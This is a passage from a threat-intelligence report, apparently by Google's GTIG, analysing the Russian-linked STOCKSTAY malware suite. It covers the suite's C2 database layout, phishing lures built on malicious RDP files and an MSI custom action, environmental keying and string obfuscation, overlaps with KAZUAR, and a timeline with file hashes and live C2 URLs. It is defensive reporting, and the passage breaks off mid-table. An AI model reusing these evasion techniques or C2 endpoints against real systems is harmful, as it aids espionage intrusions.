</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_close" rel="noopener" target="_blank"><span>WebSocketHandler.on_close</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket close. IP: {client_ip}</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 2: Overview of STOCKSTAY WebSocket Server Interface</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Database Structure</span></h4>
<p><span>The server maintains a local SQLite3 database under the filename </span><code>weather_data1.db</code><span>, structured as shown in Tables 3 and 4.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>degrees</code></p>
</td>
<td>
<p><span>Recipient's UUID from </span><code>container.target</code></p>
</td>
</tr>
<tr>
<td>
<p><code>pressure</code></p>
</td>
<td>
<p><span>Sender's UUID from </span><code>container.sender</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wdata</code></p>
</td>
<td>
<p><span>Message data from </span><code>container.message</code></p>
</td>
</tr>
<tr>
<td>
<p><code>coords</code></p>
</td>
<td>
<p><span>Sender's IP address, extracted from </span><code>X-Forwarded-For</code><span> header, or </span><code>none_ip</code><span> if no sender specified.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>status</code></p>
</td>
<td>
<p><span>Defaults to 0 - doesn't appear to be used or returned to the client.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of row creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 3: </span><code>weather_data</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>data</code></p>
</td>
<td>
<p><span>Log message</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 4: </span><code>log</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Key Operational Characteristics</span></h3>
<h4><span>Consistent Use of Academic or Diplomatic Lure Content</span></h4>
<p><span>The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>compromising an email account belonging to a Ukrainian university to disseminate phishing emails;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using the names of an academic institution within the file name of a malicious RDP file;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>compromising a diplomatic education platform for phishing and distribution of malicious RDP files;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “education” and “diplo” within registered phishing domains; and</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.</span></p>
</li>
</ul>
<h4><span>Persistent Ukrainian Targeting</span></h4>
<p><span>A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations. </span></p>
<h4><span>Suspected European Targeting</span></h4>
<p><span>A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity. </span></p>
<h4><span>Deployment via Malicious RDP Files</span></h4>
<p><span>GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.</span></p>
<p><span>In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device. </span></p>
<p><span>Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload. </span></p>
<h4><span>Deployments at Multiple Stages of Operations</span></h4>
<p><span>Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations. </span></p>
<p><span>In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.</span></p>
<p><span>When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR. </span></p>
<h3><span>Overlaps with KAZUAR</span></h3>
<h4><span>K1MORPHER String Obfuscation</span></h4>
<p><span>In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was </span><a href="https://www.gdcvault.com/play/1024365/Math-for-Game-Programmers-Noise" rel="noopener" target="_blank"><span>presented</span></a><span> at Game Developers Conference 2017. </span></p>
<p><span>GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays. </span></p>
<p><span>In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.</span></p>
<h4><span>Implant Architecture</span><span> </span></h4>
<p><span>Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.</span></p>
<p><span>As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.</span></p>
<h4><span>Environmental Keying</span></h4>
<p><span>Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.</span></p>
<p><span>DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.</span></p>
<p><span>STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.</span></p>
<h4><span>Summary of Overlaps</span></h4>
<p><span>GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.</span></p>
<p><span>We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future. </span></p>
<h3><span>STOCKSTAY Timeline</span></h3>
<p><span>GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a </span><a href="https://www.virustotal.com/gui/collection/ed88a43801b5c58b9be27fa74abaa278a48904f3cc1bc905f2d85e32448b96c5/iocs" rel="noopener" target="_blank"><span>GTI Collection</span></a><span> for registered users.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig5.max-1000x1000.png" alt="Timeline of STOCKSTAY observations">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 5: Timeline of STOCKSTAY observations</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>December 2022</span></h4>
<p><span>The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>websocket-sharp.dll</code></p>
</td>
<td>
<p><span>Instance of open-source library used by the threat actor</span></p>
</td>
<td>
<p><code>d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 5: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>September 21, 2023: Germany</span></h4>
<p><span>An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.</span></p>
<p><span>This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig6.max-1000x1000.png" alt="Early STOCKSTAY user-interface">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 6: Early STOCKSTAY user-interface</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DriversPrinterGraphic.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY</span></p>
</td>
<td>
<p><code>e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNews.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY combined executable</span></p>
</td>
<td>
<p><code>1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24</code></p>
</td>
</tr>
<tr>
<td>
<p><code>sample.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 6: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>December 5 – 6, 2023: Netherlands</span></h4>
<p><span>A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.</span></p>
<p><span>This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><span>StockMarketView.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><span>StockMarketNet.exe</span></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><span>StockMarketSystem.exe</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 7: STOCKSTAY component filenames observed in December 2023</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>apps_libwallets_v1.3.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 8: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>January 2024: Ukraine</span></h4>
<p><span>GTIG conducted a review of an incident response conducted by Mandiant relating to a late-2023 compromise of a Ukrainian organization, in which we observed Turla deploying a wide range of tools into the victim’s network, including WILDDAY, DIAMONDBACK and KAZUAR, via malicious GPO installation from a compromised domain controller. This activity was accompanied by other simple scripts and backdoors to deploy malware across multiple machines in the infected organization. </span></p>
<p><span>During the review, GTIG identified evidence of STOCKSTAY execution on one of the hosts impacted by the infected domain controller. Multiple ZIP archives, each containing one of the core components of STOCKSTAY or its configuration, were uploaded to the domain controller. The files were found in a directory used for staging registry files used to install WILDDAY both prior to and after STOCKSTAY appeared on the host, as well as for staging output from an otherwise unknown Powershell backdoor (iclsClient.ps1) which was also observed running from the domain controller.</span></p>
<p><span>During this operation, an initial STOCKSTAY configuration file was deployed to the domain controller alongside the STOCKSTAY core component executables, however this file was not able to be decrypted using any known passwords or environmental identifiers. A short while later, Mandiant observed a second configuration file being deployed to the domain controller, this time encrypted using the domain name associated with the compromised network. GTIG assesses with moderate confidence that the deployment of the initial configuration file was either a mistake by the threat actor - perhaps deploying a configuration file associated with a different victim - or the result of a default or invalid configuration file being bundled with STOCKSTAY during initial deployment to prevent sensitive C2 details from being captured in the event of early detection of the malware in the victim’s environment.  </span></p>
<p><span>The successfully decrypted configuration defined a STOCKSTAY WebSocket C2 URL of </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. Additionally, the configuration specified an operational time-frame of Monday to Friday between the hours of 0900 and 1800 on the victim's system. This time-based restriction is likely intended to blend C2 communications with normal business operations in the victim's network. This same time-frame has been observed in a majority of STOCKSTAY configuration files analyzed by GTIG.</span></p>
<p><span>Of particular note, toward the end of this operation, Mandiant identified firewall detections relating to one of KAZUAR’s C2 endpoints. GTIG assesses, with low to moderate confidence, that the threat actor could have been aware of the suspicion surrounding its C2 and deployed STOCKSTAY as a failsafe in case KAZUAR was identified and remediated, thus enabling reinfection at a later date, in the event that STOCKSTAY remained undetected.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 9: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>February 2024: Italy</span></h4>
<p><span>An MSI file configured to install STOCKSTAY was uploaded to VirusTotal at 2024-02-20 11:45:26 from Italy, under the filename “Copia.msi”. The MSI masqueraded as the </span><span>ILSpy application developed by ICSharpCodeTeam, and contained a large number of legitimate benign components. The MSI installed the core STOCKSTAY components under </span><code>%LOCALAPPDATA%/Programs/SMN/</code><span>, and enabled persistent execution via registry run keys. </span></p>
<p><span>The STOCKSTAY samples contained in the MSI were compiled between January 29 and January 31, 2024, with the configuration file last being modified on February 13, 2024, just a week before being submitted to VirusTotal.</span></p>
<p><span>In addition to the installation of STOCKSTAY, the MSI file contains a custom MSI action named “OpenUrl”. This action has the sequence number 1 in the InstallUISequence table, indicating it should be executed before any other actions. The custom action is configured to execute the following command:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></pre></div>
<div class="block-paragraph_advanced"><p><span>When viewed, the URL contains references to elections (“elezioni”) and the Italian organization “Circolo Degli Esteri”, which according to their official website (</span><a href="https://www.circoloesteri.it/" rel="noopener" target="_blank"><span>https://www.circoloesteri.it/</span></a><span>), was founded to “represent the Ministry of Foreign Affairs”. We do not currently assess that the actor was directly targeting Italian elections, and was instead using elections-related phishing lures to target victims. Due to limited visibility, we have been unable to identify any earlier stages of this particular operation, and cannot confirm the identity of the intended targets of any potential related phishing campaigns.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>Foreign Affairs Club 1936

Approval of the 2023 Financial Statement

Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50

Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%</code></pre></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig7.max-1000x1000.png" alt="Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ugoq7">Figure 7: Italian-language decoy claiming to relate to Italy’s Circolo Degli Esteri</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Although inconclusive, this appears to indicate an intention to deploy STOCKSTAY against Italian-speaking individuals or organizations, specifically with a focus on foreign affairs.</span></p>
<p><span>In following with previous STOCKSTAY instances, this sample utilized environmental keying for its configuration file. GTIG was able to recover the domain name used to decrypt the configuration file in order to identify the WebSocket C2 address </span><code>wss://wool-basalt-clock.glitch.me/ws</code><span>. This matches the C2 address used in January 2024.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>Copia.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>b064a3efb04ed77e6c57955089ce639e193d166c8ea2216c98c3e9b701ea2cff</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>249a4c7cacdd8e99a2a089a5c0ce904f2eff22e0e40fcfb10f7824dca6c51ecb</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>b728eba4f0d6d16602fbad05a591f14391594262d3584b2e249e97f86e4dcc5a</code></p>
</td>
</tr>
<tr>
<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40b1208dda0cd5dd95c6b57764b2cfe7145b3ed9457f498408b4aaa05bf3ef50</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 10: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php</code></p>
</td>
<td>
<p><span>Italian language lure relating to voting on matters related to the Italian Ministry of Foreign Affairs.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://wool-basalt-clock.glitch.me/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 11: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>March 18 – April 3, 2025: Ukraine</span></h4>
<p><span>On April 2, 2025, GTIG identified a compromised email account sending a phishing email containing a message purporting to originate from a Ukrainian university, relating to the testing of a new distance learning environment. The threat actor attached a malicious Remote Desktop Protocol (RDP) file to the email, which upon opening resulted in a connection being established between the victim and an open RDP port (3389) hosted on the actor-registered domain chosen to imitate the same academic institution. </span></p>
<p><span>Once the victim connected to the actor's infrastructure, GTIG observed the actor deploying STOCKSTAY.MARKETMAKER to the client. STOCKSTAY.MARKETMAKER was configured to download a ZIP containing STOCKSTAY from a legitimate but compromised website belonging to the State Regulatory Service of Ukraine. In contrast to the majority of earlier observations, the configuration file observed during this operation was protected with a hard-coded password. This appears to correspond with this particular operation’s focus on initial access to a victim’s environment via spear-phishing, through which the specific domain or host name may not be known to the threat actor, and thus cannot be used for environmental keying. GTIG was able to identify the malware using the WebSocket C2 URL </span><code>wss://weatherdataai.theworkpc.com/ws</code><span>.</span></p>
<p><span>According to the metadata associated with the ZIP archive downloaded by STOCKSTAY.MARKETMAKER, the core STOCKSTAY components used during this operation were last modified between March 18 – 26, with the configuration file last being modified on March <span>31</span>.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MicrosoftUpdateOneDrive.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER Downloader</span></p>
</td>
<td>
